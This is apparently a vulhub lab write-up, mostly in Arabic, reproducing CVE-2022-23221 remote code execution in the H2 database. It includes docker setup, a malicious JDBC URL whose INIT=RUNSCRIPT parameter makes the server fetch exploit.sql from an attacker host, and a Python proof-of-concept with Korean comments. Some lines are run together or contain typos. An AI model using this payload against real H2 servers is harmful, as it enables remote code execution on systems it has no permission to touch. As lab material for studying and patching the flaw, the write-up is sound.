
vulhub/H2-database/CVE-2022-23221
H2 هو نظام لإدارة قواعد البيانات العلائقية، ويوفر ميزة تتيح تجميع وتنفيذ شيفرة Java مباشرةً داخل محرك SQL.
يقوم مشغّل H2 بتحليل عنوان JDBC URL لإنشاء الاتصال بين التطبيق وقاعدة البيانات. وفي هذه الأثناء يمكن التحكم في الحالة الأولية لقاعدة البيانات أو سلوكها من خلال معاملات الإعداد المضمّنة في العنوان.
تعاني الإصدارات السابقة لـ H2 2.1.210 المتأثرة بالمشكلة من ثغرة تتيح تنفيذ سكربت SQL عن بُعد عبر معامل INIT في عنوان JDBC URL. ويستغل المهاجم ذلك بحقن سكربت SQL مُعدَّل عن بُعد، ومن خلال الصياغات الموجودة داخله ينفّذ أوامر النظام، مما يؤدي إلى إثارة ثغرة CVE-2022-23221.
تتميز هذه الثغرة بالخصائص التالية.
نطاق تأثير الثغرة
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> تجاوز إعدادات الأمان
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> أمر SQL يُنفَّذ تلقائيًا عند اتصال التطبيق بقاعدة البيانات
CREATE ALIAS الخاصة بـ SQL.
CREATE ALIAS داخل السكربت المطلوب تنفيذه عن بُعد H2 ينفّذ دالة Java الموجودة في السكربت داخل قاعدة البيانات، وينتج عن ذلك RCE في النهاية.السيناريو
id وwhoami وpwd، فهذا يعني أن بيئة H2 الضعيفة قد أُعدّت، وأن H2 أثناء تحليل عنوان JDBC URL الخبيث قام بتنزيل ملف exploit.sql عن بُعد من خادم المهاجم الخارجي وتنفيذه.إعداد البيئة
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : يوفّر ملف exploit.sqlبعد تكوين البيئة، عند الوصول إلى http://your-ip:8082 تظهر صفحة H2 على الويب.
: في وحدة تحكم الويب تُطبَّق سياسة أمان، لذا قد تُرشَّح المعاملات التي تُعد شرطًا للثغرة، لذلك يتم إدخال عنوان JDBC URL الذي يحتوي على معاملات خبيثة مباشرةً عبر CLI لإعادة إنتاج الثغرة والتحقق من النتيجة.
عنوان JDBC URL الطبيعي: "jdbc:h2:mem:test"
أمر الطلب الطبيعي
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
نتيجة التنفيذ

يتم إدخال عنوان JDBC URL خبيث إلى مشغّل H2 لمحاولة الاتصال بخادم attacker. وهناك طريقتان لإدخال عنوان URL في هذه الحالة.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

يقوم H2 بطلب ملف exploit.sql (HTTP GET) من خادم attacker وفقًا لما هو محدد في معامل INIT في عنوان JDBC URL INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'، وينفّذه داخل قاعدة بيانات H2.
docker logs attacker يمكن التحقق من سجل طلب ملف exploit.sql الوارد من خادم h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
id وwhoami وpwd.